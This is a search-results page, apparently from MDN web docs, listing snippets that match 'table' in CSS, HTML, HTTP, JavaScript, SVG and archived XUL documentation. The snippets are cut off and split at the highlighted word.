table below. to see a full list take a look at the
table found in the display property specification. single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline ...
...the two-value display: block flow-root maps to a fairly recent single value; display: flow-root. this value's only purpose is to create a new block formatting context (bfc). a bfc ensures that everything inside your box stays inside it, and things from outside the box cannot intrude into it. the most obvious use-case for creating a new bfc is to contain floats, and ...
...above, you can change display: inline-block to display: inline flow-root in firefox and get the same result. what about the old values of display? the single values of display are described in the specification as legacy values, and currently you gain no benefit from using the two-value versions, as there is a direct mapping for each two-value version to a legacy version, as demonstrated in the
table above. to deal with single values of display the specification explains what to do if only the outer value of block or inline is used: "if a <display-outside> value is specified but <display-inside> is omitted, the element’s inner display type defaults to flow." this means that the behavior is exactly as it is in a single value world. if you specify display: block or display: inline, that ...
...And 3 more matches
margin-left - CSS: Cascading Style Sheets
values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the left margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. ...
... a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. this
table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-
table any static or relative 0 inline layout mode block, inline, inline-block, block,
table, inline-
table, list-item,
table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. block layout mode block, inline, inline-block, block...
... any static or relative 0 inline layout mode block, inline, inline-block, block,
table, inline-
table, list-item,
table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. ...
...And 3 more matches
margin-right - CSS: Cascading Style Sheets
values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the right margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. ...
... a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. this
table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-
table any static or relative 0 inline layout mode block, inline, inline-block, block,
table, inline-
table, list-item,
table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. block layout mode block, inline, inline-block, block...
... any static or relative 0 inline layout mode block, inline, inline-block, block,
table, inline-
table, list-item,
table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. ...
...And 3 more matches
position - CSS: Cascading Style Sheets
ositioned according to the normal flow of the document, and then offset relative to itself based on the values of top, right, bottom, and left. the offset does not affect the position of any other elements; thus, the space given for the element in the page layout is the same as if position were static. this value creates a new stacking context when the value of z-index is not auto. its effect on
table-*-group,
table-row,
table-column,
table-cell, and
table-caption elements is undefined. absolute the element is removed from the normal document flow, and no space is created for the element in the page layout. it is positioned relative to its closest positioned ancestor, if any; otherwise, it is placed relative to the initial containing block. its final position is determined by the values of t...
...tion is determined by the values of top, right, bottom, and left. this value always creates a new stacking context. in printed documents, the element is placed in the same position on every page. sticky the element is positioned according to the normal flow of the document, and then offset relative to its nearest scrolling ancestor and containing block (nearest block-level ancestor), including
table-related elements, based on the values of top, right, bottom, and left. the offset does not affect the position of any other elements. this value always creates a new stacking context. note that a sticky element "sticks" to its nearest ancestor that has a "scrolling mechanism" (created when overflow is hidden, scroll, auto, or overlay), even if that ancestor isn't the nearest actually scrolling a...
...-top: 1px solid #ccc; } result specifications specification status comment css level 2 (revision 1)the definition of 'position' in that specification. recommendation css positioned layout module level 3the definition of 'position' in that specification. working draft adds sticky property value. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpositionchrome full support ...
...And 3 more matches
<colgroup> - HTML: Hypertext Markup Language
the html <colgroup> element defines a group of columns within a
table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content if the span attribute is present: none, it is an empty element. if the attribute is not present: zero or more <col> element tag omission the start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted. the end tag may be omitted, if it is not followed by a space or a comment. permitted parents a <
table> element. the <co...
... span this attribute contains a positive integer indicating the number of consecutive columns the <colgroup> element spans. if not present, its default value is 1. ...
... offset, defined by the char and charoff attributes. if this attribute is not set, the left value is assumed. the descendant <col> elements may override this value using their own align attribute. note: do not try to set the text-align property on a selector giving a <colgroup> element. because <td> elements are not descendant of the <colgroup> element, they won't inherit it. ...
...And 3 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
ment only includes the global attributes. however, the htmltemplateelement has a content property, which is a read-only documentfragment containing the dom subtree which the template represents. note that directly using the value of the content could lead to unexpected behavior, see avoiding documentfragment pitfall section below. examples first we start with the html portion of the example. <
table id="product
table"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </
table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a
table into which we will later insert content using javascript code. then comes ...
.../td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </
table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a
table into which we will later insert content using javascript code. then comes the template, which describes the structure of an html fragment representing a single
table row. now that the
table has been created and the template defined, we use javascript to insert rows into the
table, with each row being constructed using the template as its basis. // test to see if the browser supports the html template element by checking // for the presence of the template element's content attribute. if ('content' in document.createelement('template')) { // instantiate...
... now that the
table has been created and the template defined, we use javascript to insert rows into the
table, with each row being constructed using the template as its basis. // test to see if the browser supports the html template element by checking // for the presence of the template element's content attribute. ...
...And 3 more matches
HTTP Index - HTTP
ient opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/ip layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like udp does. rudp — the reliable update of udp — is a sui
table alternative. 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser. a...
...sn't use the same method as the actual request. 63 age caching, http, response, header the age header contains the time in seconds the object has been in a proxy cache. 64 allow entity header, http, http header, reference, header the allow header lists the set of methods support by a resource. 65 alt-svc draft, http, http header, needscompat
table, needscontent, needsexample, reference the alt-svc header is used to list alternate ways to reach this website. 66 authorization http, http header, reference, request header, header the http authorization request header contains the credentials to authenticate a user agent with a server, usually after the server has responded with a 401 unauthorized status and the www-a...
...te and time at which the origin server believes the resource was last modified. it is used as a validator to determine if a resource received or stored is the same. less accurate than an etag header, it is a fallback mechanism. conditional requests containing if-modified-since or if-unmodified-since headers make use of this field. 165 link draft, http, http header, link, needscompat
table, needscontent, needssyntax, reference the http link entity-header field provides a means for serialising one or more links in http headers. it is semantically equivalent to the html <link> element. 166 location http, http header, reference, response header the location response header indicates the url to redirect a page to. it only provides a meaning when served with a...
...And 3 more matches
Object.defineProperties() - JavaScript
e corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descriptor also has the following optional keys: value the value associated with the property. can be any valid javascript value (number, object, function, etc). defaults to undefined. wri
table true if and only if the value associated with the property may be changed with an assignment operator. defaults to false. an accessor descriptor also has the following optional keys: get a function which serves as a getter for the property, or undefined if there is no getter. the function's return value will be used as the value of the property. defaults to undefined. set a f...
...perty, or undefined if there is no getter. the function's return value will be used as the value of the property. defaults to undefined. set a function which serves as a setter for the property, or undefined if there is no setter. the function will receive as its only argument the new value being assigned to the property. defaults to undefined. if a descriptor has neither of value, wri
table, get and set keys, it is treated as a data descriptor. if a descriptor has both value or wri
table and get or set keys, an exception is thrown. return value the object that was passed to the function. polyfill assuming a pristine execution environment with all names and properties referring to their initial values, object.defineproperties is almost completely equivalent (note the comment i...
...peof v === 'function'; } if (typeof desc !== 'object' || desc === null) throw new typeerror('bad desc'); var d = {}; if (hasproperty(desc, 'enumerable')) d.enumerable = !!desc.enumerable; if (hasproperty(desc, 'configurable')) d.configurable = !!desc.configurable; if (hasproperty(desc, 'value')) d.value = desc.value; if (hasproperty(desc, 'wri
table')) d.wri
table = !!desc.wri
table; if (hasproperty(desc, 'get')) { var g = desc.get; if (!iscallable(g) && typeof g !== 'undefined') throw new typeerror('bad get'); d.get = g; } if (hasproperty(desc, 'set')) { var s = desc.set; if (!iscallable(s) && typeof s !== 'undefined') throw new typeerror('bad set'); d.set = s; } ...
...And 3 more matches
Object.freeze() - JavaScript
obj the object to freeze. return value the object that was passed to the function. description nothing can be added to or removed from the properties set of a frozen object. any attempt to do so will fail, either silently or by throwing a typeerror exception (most commonly, but not exclusively, when in strict mode). for data properties of a frozen object, values cannot be changed, the wri
table and configurable attributes are set to false. accessor properties (getters and setters) work the same (and still give the illusion that you are changing the value). note that values that are objects can still be modified, unless they are also frozen. as an object, an array can be frozen; after doing so, its elements cannot be altered and no elements can be added to or removed from the array. fre...
...e that; as the standard three properties (buf.bytelength, buf.byteoffset and buf.buffer) are read-only (as are those of an arraybuffer or sharedarraybuffer), there is no reason for attempting to freeze these properties. comparison to object.seal() objects sealed with object.seal() can have their existing properties changed. existing properties in objects frozen with object.freeze() are made immu
table. examples freezing objects var obj = { prop: function() {}, foo: 'bar' }; // before freezing: new properties may be added, // and existing properties may be changed or removed obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; // freeze. var o = object.freeze(obj); // the return value is just the same object we passed in. o === obj; // true // the object has become frozen. object.i...
...ll throw a typeerror. object.setprototypeof(obj, { x: 20 }) obj.__proto__ = { x: 20 } freezing arrays let a = [0]; object.freeze(a); // the array cannot be modified now. a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is immu
table. however, it is not necessarily constant. the following example shows that a frozen object is not constant (freeze is shallow). obj1 = { internal: {} }; object.freeze(obj1); obj1.internal.a = 'avalue'; obj1.internal.a // 'avalue' to be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immu
table frozen objects. the object bein...
...And 3 more matches
Object.isFrozen() - JavaScript
x object.isfrozen(obj) parameters obj the object which should be checked. return value a boolean indicating whether or not the given object is frozen. description an object is frozen if and only if it is not extensible, all its properties are non-configurable, and all its data properties (that is, properties which are not accessor properties with getter or setter components) are non-wri
table. examples using object.isfrozen // a new object is extensible, so it is not frozen. object.isfrozen({}); // === false // an empty object which is not extensible // is vacuously frozen. var vacuouslyfrozen = object.preventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen. var oneprop = { p: 42 }; object.isfro...
... extensible // is vacuously frozen. var vacuouslyfrozen = object.preventextensions({}); object.isfrozen(vacuouslyfrozen); // === true // a new object with one property is also extensible, // ergo not frozen. ...
...); // === false // preventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and wri
table). object.preventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen. delete oneprop.p; object.isfrozen(oneprop); // === true // a non-extensible object with a non-wri
table // but still configurable property is not frozen. ...
...And 3 more matches
Mobile first - Progressive web apps (PWAs)
p, etc. in tandem and how they will be implemented. then at implementation stage, we present the mobile layout and functionality as the default configuration provided, before additional information is loaded on top of that, whenever appropriate. this means that mobiles (often the target devices with the least available memory, bandwidth or processing power available) can be given an experience sui
table for them as quickly as possible, and as free as possible of extraneous information. for example: if you are serving different styling and layout information for different viewport sizes, etc., it makes more sense to include the narrow screen/mobile styling as the default styling before any media queries are encountered, rather than having desktop/wider screen styling first. this way, mobile de...
...">install</button> default mobile css for the css, i first added some styles into our app.css stylesheet to provide a reasonable narrow-screen layout. there is very little going on here, and anyone with a basic understanding of css should be able to understand most of it by just looking at the source code in app.css. particular bits of interest to point out are as follows. ...
... mobile css for the css, i first added some styles into our app.css stylesheet to provide a reasonable narrow-screen layout. there is very little going on here, and anyone with a basic understanding of css should be able to understand most of it by just looking at the source code in app.css. particular bits of interest to point out are as follows. ...
...And 3 more matches
<altGlyph> - SVG: Scalable Vector Graphics
ion of the glyphs used to render its child character data. usage context categoriestext content element, text content child elementpermitted contentany elements or character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute x-coordinate of ancestor <text> or <tspan>; anima
table: yes y this attribute defines the corresponding absolute y-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; anima
table: yes dx this attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative x-coordinate of ancestor <text...
...ibute defines the corresponding absolute y-coordinates for rendering the element. value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; anima
table: yes dx this attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative x-coordinate of ancestor <text> or <tspan>; anima
table: yes dy this attribute indicates a shift along the x-axis on the position of the element. ...
...this attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative x-coordinate of ancestor <text> or <tspan>; anima
table: yes dy this attribute indicates a shift along the x-axis on the position of the element. value type: <list-of-coordinates> ; default value: relative y-coordinate of ancestor <text> or <tspan>; anima
table: yes rotate this attribute defines the supplemental rotation that will be applied to the element. ...
...And 3 more matches
<pattern> - SVG: Scalable Vector Graphics
h="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile. ...
...circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile. value type: <length>|<percentage>; default value: 0; anima
table: yes href this attribute reference a template pattern that provides default values for the <pattern> attributes. value type: <url>; default value: none; anima
table: yes patterncontentunits this attribute defines the coordinate system for the contents of the <pattern>. value type: userspaceonuse|objectboundingbox; default value: userspaceonuse; anima
table: yes note: this attribute has no effect if a viewbox attribute is specified on the <pattern> element. patterntransform this attribute contains the definition of an optional additional transformation...
...ceonuse|objectboundingbox; default value: userspaceonuse; anima
table: yes note: this attribute has no effect if a viewbox attribute is specified on the <pattern> element. patterntransform this attribute contains the definition of an optional additional transformation from the pattern coordinate system onto the target coordinate system. value type: <transform-list>; default value: none; anima
table: yes patternunits this attribute defines the coordinate system for attributes x, y, width , and height. value type: userspaceonuse|objectboundingbox; default value: objectboundingbox; anima
table: yes preserveaspectratio this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin|...
...And 3 more matches
<symbol> - SVG: Scalable Vector Graphics
<use xlink:href="#mydot" x="20" y="5" style="opacity:0.8" /> <use xlink:href="#mydot" x="35" y="5" style="opacity:0.6" /> <use xlink:href="#mydot" x="50" y="5" style="opacity:0.4" /> <use xlink:href="#mydot" x="65" y="5" style="opacity:0.2" /> </svg> attributes height this attribute determines the height of the symbol. ...
...ht of the symbol. value type: <length>|<percentage> ; default value: auto; anima
table: yes preserveaspectratio this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ...
... it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ; default value: xmidymid meet; anima
table: yes refx this attribute determines the x coordinate of the reference point of the symbol. value type: <length>|<percentage>|left|center|right ; default value: 0; anima
table: yes refy this attribute determines the y coordinate of the reference point of the symbol. value type: <length>|<percentage>|top|center|bottom ; default value: 0; anima
table: yes viewbox this attribute defines the bound of the svg viewport for the current symbol. value type: <list-of-numbers> ; default value: none; anima
table: yes width this attribute determines the width of the symbol. ...
...And 3 more matches
<textPath> - SVG: Scalable Vector Graphics
10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg> attributes href the url to the path or basic shape on which to render the text. if the path attribute is set, href has no effect. ...
...ttributes href the url to the path or basic shape on which to render the text. if the path attribute is set, href has no effect. value type: <url> ; default value: none; anima
table: yes lengthadjust where length adjustment should be applied to the text: the space between glyphs, or both the space and the glyphs themselves. value type: spacing|spacingandglyphs; default value: spacing; anima
table: yes method which method to render individual glyphs along the path. value type: align|stretch ; default value: align; anima
table: yes path the path on which the text should be rendered. ...
...the text: the space between glyphs, or both the space and the glyphs themselves. value type: spacing|spacingandglyphs; default value: spacing; anima
table: yes method which method to render individual glyphs along the path. value type: align|stretch ; default value: align; anima
table: yes path the path on which the text should be rendered. value type: <path_data> ; default value: none; anima
table: yes side which side of the path the text should be rendered. value type: left|right ; default value: left; anima
table: yes spacing how space between glyphs should be handled. value type: auto|exact ; default value: exact; anima
table: yes startoffset how far the beginning of the text should be offset from the beginning of the path. value type: <length>|<percentage>|<number> ; default val...
...And 3 more matches
WebAssembly
verting webassembly text format to wasm this article provides a guide on how to convert a webassembly module written in the text format into a .wasm binary. api reference webassembly this object acts as the namespace for all webassembly related functionality. ...
...assembly text format to wasm this article provides a guide on how to convert a webassembly module written in the text format into a .wasm binary. api reference webassembly this object acts as the namespace for all webassembly related functionality. ...
... instance objects contain all the exported webassembly functions that allow calling into webassembly code from javascript. webassembly.instantiatestreaming() the webassembly.instantiatestreaming() function is the primary api for compiling and instantiating webassembly code, returning both a module and its first instance. ...
...And 3 more matches
StringView - Archive of obsolete content
s (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immu
table javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipul...
... input (required) the argument the stringview is constructed from. it can be: another stringview a string a number an arraybuffer a typed array of uint8array, uint16array, or uint32array subclass any other kind of ordered object (like arrays, collections, etc.) if it is a number it will become the length of the new stringview; otherwise it will become its content. the following
table shows the behavior of the stringview constructor. input class stringview.buffer stringview.rawdata stringview.bufferview stringview a new arraybuffer will be created. object reference to stringview.bufferview or a new arraybufferview of stringview.buffer will be created (depending on startoffset and length arguments passed). a new arraybuffe...
...ew() syntax stringview.subview(characteroffset[, characterslength]) description returns a new stringview object which will share the same buffer. arguments characteroffset and characterslength will be treated as in string.prototype.substr(characteroffset[, characterslength) (see). if you want to create a new stringview object cloning without sharing the same buffer, look at this
table. arguments characteroffset optional a number expressing (in codepoints) the location at which to begin extracting characters. characterslength optional a number expressing (in codepoints) the location at which to stop extracting characters. examples var mystringview1 = new stringview("hello world!"); var mystringview2 = mystringview1.subview(3, 7); alert(mystringv...
...And 2 more matches
Tamarin Build System Documentation - Archive of obsolete content
hat are the build phases? compile, smoke, test. when all of the slave machines are free they all start the first build phase simultaneously. if an error or failure occurs on any slave in a phase the build stops. the next phase is started when all slaves have completed the previous phase successfully. the compile phase compiles all of the tamarin source code and builds all of the shell execu
tables, any errors will stop the phase and a red box will appear on the slave where the error occurred. the compile phase takes about 20-25 minutes. the smoke phase runs a set of tests on each platform until 2 minute is exceeded. the set of smoke tests can contain any shell build and any test suite (including performance). the smoke test list is constantly updated to contain the most recent failures...
...the phase state is idle or active click on the phase (e.g. compile, smoke, or test to show the build slaves from the most recent phase run or click on an individual box to display...
...the phase state is idle or active click on the phase (e.g. compile, smoke, or test to show the build slaves from the most recent phase run or click on an individual box to display the test result below the phase ta...
...And 2 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
/> <treecol id="description" label="description" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> <splitter class="tree-splitter"/> <treecol id="weapon" label="weapon" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> </treecols> <treechildren id="tree-children"/> </tree> </window> sort.js var
table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); load
table(); } //this function is called every time the tree is sorted, filtered, or reloaded function load
table() { //remember scroll position. this is useful if this is an edi
table table //to prevent the user from losing the row they edited var topvisiblerow = null; if (tabl...
...weapon: "sai"}); data.push({name: "splinter", description: "rat", weapon: "walking stick"}); data.push({name: "shredder", description: "armored man", weapon: "blades"}); data.push({name: "casey jones", description: "goalie masked man", weapon: "hockey stick"}); data.push({name: "april o'neil", description: "journalist", weapon: "none"}); } if (filtertext == "") { //show all of them
table = data; } else { //filter out the ones we want to display
table = []; data.foreach(function(element) { //we'll match on every property for (var i in element) { if (prepareforcomparison(element[i]).indexof(filtertext) != -1) {
table.push(element); break; } } }); } sort(); //restore scroll position if (topvisiblerow) { settopvisiblerow(topvisiblerow); } ...
...display
table = []; data.foreach(function(element) { //we'll match on every property for (var i in element) { if (prepareforcomparison(element[i]).indexof(filtertext) != -1) {
table.push(element); break; } } }); } sort(); //restore scroll position if (topvisiblerow) { settopvisiblerow(topvisiblerow); } } //generic custom tree view stuff function treeview(
table) { this.rowcount =
table.length; this.getcelltext = function(row, col) { return
table[row][col.id]; }; this.getcellvalue = function(row, col) { return
table[row][col.id]; }; this.settree = function(treebox) { this.treebox = treebox; }; this.isedi
table = function(row, col) { return col.edi
table; }; this.iscontainer = function(row){ return false; }; this.isseparator = function(ro...
...And 2 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
oreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, edi
table, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted,...
...found. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear. inputtooltiptext type: string the tooltip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. ...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. completede...
...And 2 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
mmand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, edi
table, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selectionstart, sessioncount, showcommentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, v...
... case. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear. inputtooltiptext type: string the tooltip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. ...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessible type: nsiaccessible returns the accessibility object for the element. alwaysopenpopup obsolete sin...
...And 2 more matches
Trees - Archive of obsolete content
be used to display rows of text in columns. it can be used with rows either in a flat list or arranged into a hierarchy. a tree also allows the user to rearrange, resize and hide individual columns. some examples of trees include the list of messages in a mail application, or the bookmarks window in mozilla. in some ways, a tree has some similarities with the listbox. both can be used to create
tables of data with multiple rows and columns, and both may contain column headers. the tree also supports nested rows, whereas the listbox does not. however, listboxes may contain any type of content, whereas trees may only contain text and images. (using advanced features, progress meters or checkboxes also can be added to the tree) a tree consists of two parts, the set of columns, and the tree body...
...e. this interface contains thirty properties and functions which you may implement. these functions will be called by the tree as necessary to retrieve data and state about the tree. for instance, the getcelltext() function will be called to get the label for a particular cell in the tree. an advantage of using a tree view is that it allows the view to store the data in a manner which is more sui
table for the data, or to load the data on demand as rows are displayed. this allows more flexibility when using trees. naturally, having to implement a tree view with thirty or so properties and methods for every tree can be very cumbersome, especially for simple trees. fortunately, xul provides a couple of built-in view implementations which do most of the hard work for you. for most trees, especial...
...idea to use ids on columns. treechildren this contains the main body of the tree where the individual rows of data will be displayed. example tree with two columns example 1 : source view <tree flex="1"> <treecols> <treecol id="namecolumn" label="name" flex="1"/> <treecol id="addresscolumn" label="address" flex="2"/> </treecols> <treechildren/> </tree> first, the entire
table is surrounded with a tree element. this declares an element that is used as a
table or tree. as with html
tables, the data in a tree is always organized into rows. the columns are specified using the treecols tag. you may place as many columns as you wish in a tree. as with listboxes, a header row will appear with column labels. a drop-down menu will appear in the upper-right corner of the tree,...
...And 2 more matches
tree - Archive of obsolete content
f generated trees with lots of rows. rdf content tree nsitreeview, nsixultreebuilder, nsitreecontentview yes this tree is generated from an rdf datasource. it is similar to the previous type but is used when the tree does not have dont-build-content in its flags attribute. dom treeitems are created, so you can access the data using rdf functions or dom functions. this type is sui
table for rdf generated trees with a fairly small number of rows. custom tree view nsitreeview no for this tree you implement the nsitreeview interface yourself. the tree's data is retrieved from this custom view. the custom view should be attached to the tree by setting its view property. more information is available in the xul tutorial. also tree widget changes. re...
...hed to the tree by setting its view property. more information is available in the xul tutorial. also tree widget changes. relevant accessbility guidelines provide alternative access (for example, via menus) to column picker and for header behaviors like sorting (these have no default keyboard access). ...
..., as it may need to update additional state. disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific items within the element by pressing keys corresponding to letters in the item's label. this is done incrementally, so typing more letters with select more specific items. this feature may be disabled by setting this attribute to true. edi
table type: boolean indicates that the cells of the tree may be edited. enablecolumndrag type: boolean when set to true, the user may drag the column headers around to change the order in which they are displayed. flags type: space-separated list of the values below a set of flags used for miscellaneous purposes. two flags are defined, which may be the value of this attribute. don...
...And 2 more matches
Plug-in Development Overview - Gecko Plugin API Reference
ate a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scrip
table for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html t...
...le extensions that the plug-in handles, the browser loads each library and calls into the np_getmimedescription entry point. this exported c function should return a string containing the type, extension list, and type description separated by colons. each mime types should be separated by semicolons. for example: image/xbm:xbm:x bitmap or for 2 mime types: image/xbm:xbm:x bitmap;image/png:png:por
table network graphics. this information will then appear in the navigator.mimetypes dom object. npp_getvalue is called after the plug-in is initialized to get the scripting interface while np_getvalue is called during initialization to retrieve the plug-in's name and description, which will appear in the navigator.plugins dom object which is used to populate about:plugins. caution: gecko caches the...
...ser and operates as an addition to current browser capabilities. to make the user feel that the plug-in is part of the the browser user interface, your plug-in can emulate the browser behavior by providing status line messages. use the npn_status method to display a message on the status line. for information about using this method, see version, ui, and status information. making plug-ins scrip
table scrip
table plug-ins are plug-ins that have been extended to provide methods that can be called from javascript and the dom when accessed through the object or embed element. consider the following example, where a media player plug-in can be controlled with an advancetonextsong() method called inside the script element: <object id="myplugin" type="audio/wav" data="music.wav"> </object> <...
...And 2 more matches
CSS and JavaScript accessibility best practices - Learn web development
